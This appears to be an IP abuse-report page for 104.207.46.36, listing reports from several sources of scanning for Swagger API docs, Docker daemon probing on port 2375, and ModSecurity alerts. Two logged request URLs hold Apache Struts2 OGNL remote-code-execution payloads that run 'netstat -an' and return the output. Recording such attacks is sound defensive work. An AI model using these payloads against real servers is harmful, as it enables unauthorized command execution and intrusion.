This IP address has been reported a total of
137
times from
22 distinct
sources.
104.207.46.36 was first reported on
, and the most recent report was
.
Recent Reports:
We have received reports of abusive activity from this IP address within the last week. It is
potentially still actively engaged in abusive activities.
(modsec_5015) ModSec 5015: Suspicious User-Agent from 104.207.46.36 (US/United States/-): 1 in the l ...
show more(modsec_5015) ModSec 5015: Suspicious User-Agent from 104.207.46.36 (US/United States/-): 1 in the last 3600 secs (0-195)
show less
ThreatBook Intelligence: vpn_proxy,Gateway more details on https://threatbook.io/ip/104.207.46.36
20 ...
show moreThreatBook Intelligence: vpn_proxy,Gateway more details on https://threatbook.io/ip/104.207.46.36
2026-05-18 02:13:18 /v2/api-docs
2026-05-18 02:13:19 /swagger/v1/swagger.json
2026-05-18 02:13:20 /api/swagger.json
2026-05-18 02:13:19 /swagger/docs/v1
2026-05-18 02:13:20 /v3/api-docs
show less
Honeypot detection: Docker daemon unauthorized access / container escape attempt on port 2375. Sever ...
show moreHoneypot detection: Docker daemon unauthorized access / container escape attempt on port 2375. Severity: MEDIUM. Aaran.cloud
show less
ThreatBook Intelligence: Zombie,Dynamic IP more details on https://threatbook.io/ip/104.207.46.36
20 ...
show moreThreatBook Intelligence: Zombie,Dynamic IP more details on https://threatbook.io/ip/104.207.46.36
2026-03-01 18:03:55 /
2026-03-01 18:03:58 /?(%27\u0023context[\%27xwork.MethodAccessor.denyMethodExecution\%27]\u003dfalse%27)(bla)(bla)&(%27\u0023_memberAccess.excludeProperties\[email protected]@EMPTY_SET%27)(kxlzx)(kxlzx)&(%27\u0023_memberAccess.allowStaticMethodAccess\u003dtrue%27)(bla)(bla)&(%27\u0023mycmd\u003d\%27netstat%20-an\%27%27)(bla)(bla)&(%27\u0023myret\[email protected]@getRuntime().exec(\u0023mycmd)%27)(bla)(bla)&(A)((%27\u0023mydat\u003dnew\40java.io.DataInputStream(\u0023myret.getInputStream())%27)(bla))&(B)((%27\u0023myres\u003dnew\40byte[51020]%27)(bla))&(C)((%27\u0023mydat.readFully(\u0023myres)%27)(bla))&(D)((%27\u0023mystr\u003dnew\40java.lang.String(\u0023myres)%27)(bla))&(%27\u0023myout\[email protected]@getResponse()%27)(bla)(bla)&(E)((%27\u0023myout.getWriter().println(\u0023mystr)%27)(bla))
show less
ThreatBook Intelligence: Zombie,vpn_proxy more details on https://threatbook.io/ip/104.207.46.36
202 ...
show moreThreatBook Intelligence: Zombie,vpn_proxy more details on https://threatbook.io/ip/104.207.46.36
2026-01-17 03:24:24 /
2026-01-17 03:24:25 /?redirect:${%23req%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23s%3dnew%20java.util.Scanner((new%20java.lang.ProcessBuilder(%27netstat%20-an%27.toString().split(%27\\s%27))).start().getInputStream()).useDelimiter(%27\\AAAA%27),%23str%3d%23s.hasNext()?%23s.next():%27%27,%23resp%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23resp.setCharacterEncoding(%27UTF-8%27),%23resp.getWriter().println(%23str),%23resp.getWriter().flush(),%23resp.getWriter().close()}
show less